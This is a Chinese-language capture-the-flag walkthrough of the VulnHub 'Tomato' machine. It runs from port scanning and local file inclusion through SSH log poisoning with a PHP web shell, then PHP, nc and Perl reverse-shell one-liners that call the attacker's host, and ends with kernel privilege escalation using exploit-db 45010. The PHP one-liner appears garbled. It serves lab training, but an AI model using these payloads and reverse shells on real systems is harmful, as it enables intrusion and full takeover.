靶机介绍
1)靶机地址:https://download.vulnhub.com/tomato/Tomato.ova
2)靶机难度:低
3)打靶目标: 取得 root 权限 + Flag
4)涉及攻击方法:主机发现、端口扫描、信息收集、路径爬取、源码分析、文件包含、写入日志、内核漏洞枚举、本地提权
5)靶机简介:本次的靶机是一个低难度的靶机,靶机中反映了一种非常经典漏的洞利用方法,众多服务类型都会默认开启日志记录的功能,日志中可能存在大量来自客户端的访问请求或者机密信息。如果WEB应用中存在文件包含漏洞,则可利用其读取其他服务的日志内容,结合向日志文件中注入的攻击代码,则可能直接造成代码执行,从而突破边界获得目标系统的基础权限。当然要想实现突破,细致入微的信息收集和枚举永远都是不可或缺的。提权阶段通常同样需要大量的信息收集,这往往是很多同学相对薄弱的领域,本次打靶使用一个提高效率的工具,让提权尝试更具有方向性。
6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机
打靶过程
1)主机发现
# arp-scan --interface eth1 172.24.10.0/24
2)端口扫描
①对目标靶机进行全端口扫描,发现开放了很多个端口
# nmap -p- 172.24.10.129
②对发现的端口进行服务版本、漏洞扫描
# nmap -p21,80,2211,8888 -sC -sV 172.24.10.130
③针对svftpd3.0.3版本只有一个拒绝服务的漏洞,没有可以远程执行命令的漏洞,无法直接利用
④2211开放的是ssh服务
⑤8888端口开放了http服务,使用nginx的1.10.3版本
⑥80端口开放了http服务,使用Apache的2.4.18版本
3)8888端口信息搜集
①通过浏览器直接访问目标靶机:8888端口,弹出登录框需要进行登录
http://172.24.10.130:8888/
②尝试进行弱口令登录和暴力破解,均为成功获取到用户名和密码
4)80端口信息搜集
①过浏览器直接访问目标靶机:80端口,发现是一个西红柿图片的页面
http://172.24.10.130
②查看网页源代码,未获取到任何的有用信息
③对目标靶机80站点进行路径爬取
# dirsearch -u http://172.24.10.130 #默认情况为爬取出任何信息
# dirsearch -u http://172.24.10.130 -f -e php,txt,html #使用特定后缀也未爬取出有用信息
# dirsearch -u http://172.24.10.130 -w /usr/share/seclists/Discovery/Web-Content/common.txt #更换字典后,爬去除了一个301的站点
④使用特定字典,并使用特定后缀爬取
# dirsearch -u http://172.24.10.130 -w /usr/share/seclists/Discovery/Web-Content/common.txt -f -e php,txt,html
⑤对爬取出的站点进行访问
http://172.24.10.130/antibot_image/
⑥通过antibots目录下的三张jpg图片可知,目标服务器对机器人或者爬虫的行为进行了过滤,使用的AntiBotPlugin.com插件,搜索发现该插件是专门用于wordpress应用的防护,防护机器人或者爬虫来爬取站点中有价值的信息,发现爬取行为后,该插件会拒绝
通过搜索未发现,该插件的漏洞,但是可以得出目标应用是基于wordpress进行搭建的
⑦继续在antibots目录下进行信息搜集发现,发现存在一个php.info的文件,打开文件,发现里面记录了php的安装路径等信息
⑧查看php.info的源码,在源码中发现对"</?php include $_GET['image'];"进行了注释,通过注释的include怀疑有可能该页面存在本地文件包含或者远程文件包含
⑨尝试在该页面中进行本地文件包含测试
view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../etc/passwd
将页面滑到最底部,发现返回了/etc/passwd的用户信息,说明该页面确实存在本地文件包含漏洞
⑩通过查看用户文件发现root用户和tomato用户具有ssh登录权限,但是通过暴力破解的方式,未获取到目标靶机的密码。
⑪通过本地文件包含读取tomato用户的私钥文件,发现无法读取成功
view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../home/tomato/.ssh/id_rsa
⑫检查php.info文件配置,发现php也未打开远程文件包含的设置,说明无法通过远程文件包含的方式让服务器加载木马文件,获取服务器shell
思路:在目标服务器上找一些其他文件可以读取,并且能向读取的这个目标文件中写入数据,如wenshell,如果可以实现写入,则可以通过目标服务器开放的服务,向目标服务器中的某个文件写入webshell,然后再通过本地文件包含将写入webshell文件进行加载,之后就可以执行命令,突破边界
Ⅰ、通过FTP服务向目标服务器发起访问,在访问过程中故意提交一些错误的请求,错误的请求有可能被写入到ftp服务器的日志文件中,然后通过本地文件包含加载ftp服务的默认日志文件。(失败,有可能是权限问题,或者ftp服务未开启日志,或者日志放置在了其他路径)
Ⅱ、向8888端口的web服务器日志中写入文件(失败)
Ⅲ、通过ssh服务,向目标服务器写入日志。默认日志存放在/var/log/auth.log中,该日志存放ssh身份认证相关的日志,尝试读取该日志,发现可以读取/var/log/auth.log日志内容
view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log
通过上述文件发现,ssh服务和vstpf服务日志都存放在/var/log/secure日志中。此时可通过使用一些错误的用户名和密码去登录ssh服务或者vsftpd服务。例如将用户名替换为一句话木马,然后加载该日志文件
5)漏洞利用
①通过ssh服务进行尝试登录,使用一个不存在的用户名
# ssh [email protected] -p2211
②继续进行文件包含auth.log,发现输入的用户名aaaaaaaaaaaaaaaa记录在了日志文件中
view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log
③将一句话木马当作用户名进行登录ssh服务
# ssh '<?php echo system($_GET["cmd"]); ?>'@172.24.10.130 -p 2211
④刷新页面
view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log
刷新页面后,发现没有在日志中查找到一句话木马,说明一句话代码已经执行成功了,如果一句话木马直接显示在日志中,说明服务器将一句话当作了文本进行显示,而没有解析成功
④通过插入的一句话木马,执行命令,测试一句话木马是否执行成功
view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=id
通过上述回显,说明一句话木马已经写入成功,并成功执行,可以执行操作系统命令了
5)反弹shell,突破边界
①先查看服务器是否存在nc程序
view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=which%20nc
通过检查发现,目标服务器是存在nc程序的
②使用nc反弹shell
#目标靶机:
view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=/bin/nc 172.24.10.136 4444 -e /bin/bash
#kali主机
# nc -nvlp 4444
上述命令执行发现,未成功反弹shell,此时怀疑目标靶机的nc程序可能不支持-e参数,重新进行反弹
#目标靶机:
view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=/bin/nc 172.24.10.136 4444
#kali主机
# nc -nvlp 4444
发现可以进行链接,但是连接以后,自动断开了,尝试使用其他程序(如php、python、perm)进行反弹shell
③因目标服务器是用php搭建的服务,此处尝试使用php进行反弹shell连接
#php反弹shell代码
php -r '=fsockopen("172.24.10.136",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
#浏览器执行
view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=php -r '=fsockopen("172.24.10.136",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
#kali主机
# nc -nvlp 4444
测试发现,php语言也无法进行反弹shell连接
④尝试使用python进行反弹shell连接,先检查目标靶机是否存在python环境
view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=which python
检查发现目标靶机不存在python环境,无法使用python进行反弹shell
⑤尝试使用perl进行反弹shell,先进行perl工具检测
view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=which perl
检查发现,在目标靶机存在perl语言环境,尝试使用perl语言进行反弹shell
#perl反弹shell代码
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"172.24.10.136:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
#浏览器执行
view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"172.24.10.136:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
#kali主机
# nc -nvlp 4444
反弹shell成功!!!
6)提权
①查看内核版本
uname -a
/bin/bash -i #升级shell,不升级无法成功执行命令
查看系统内核版本发现为ubuntu系统,尝试使用Ubuntu内核OverlayFS权限逃逸漏洞(CVE-2021-3493)提权,无法无法提权
②用来枚举linux系统内核漏洞的脚本文件linux-exploit-suggester来检测本机操作系统有哪些可以提权的内核漏洞
#kali主机:
# apt search linux-exploit- #搜索工具名称
# apt install linux-exploit-suggester #安装工具
# ls -l /usr/share/linux-exploit-suggester
# cp /usr/share/linux-exploit-suggester/linux-exploit-suggester.sh ./les.s
# nc 172.24.10.130 5555 < ./les.sh -w 1
#目标靶机:
cd /tmp
pwd
nc -lnvp 5555 > les.sh
ls
chmod +x les.sh
./les.sh
按照脚本查找出的high proable可能性的漏洞进行依次尝试
③当尝试CVE-2017-16995漏洞时,发现提权成功,先通过脚本给出的对应Download URL字段下方的ID号进行复制,在kali中进行搜索
# searchsploit -p 45010
# cp /usr/share/exploitdb/exploits/linux/local/45010.c ./
④因为是c语言的利用代码,先检查目标靶机有无gcc的利用环境
gcc
检测发现目标靶机上没有gcc的 环境,此时需要在kali主机对c语言漏洞利用代码进行编译
⑤编译漏洞利用代码
# gcc 45010.c -o exp
⑤传输本地提权脚本
#目标靶机
nc -nvlp 4444 > exp
#kali:
# nc 172.24.10.130 4444 < ./exp -w 1
⑥提权,获取到flag
$ls -l exp
$chmod +x exp
$./exp
#id
#cd /root
#ls
#cat proof.txt
Sun_CSR_TEAM_TOMATO_JS_0232xx23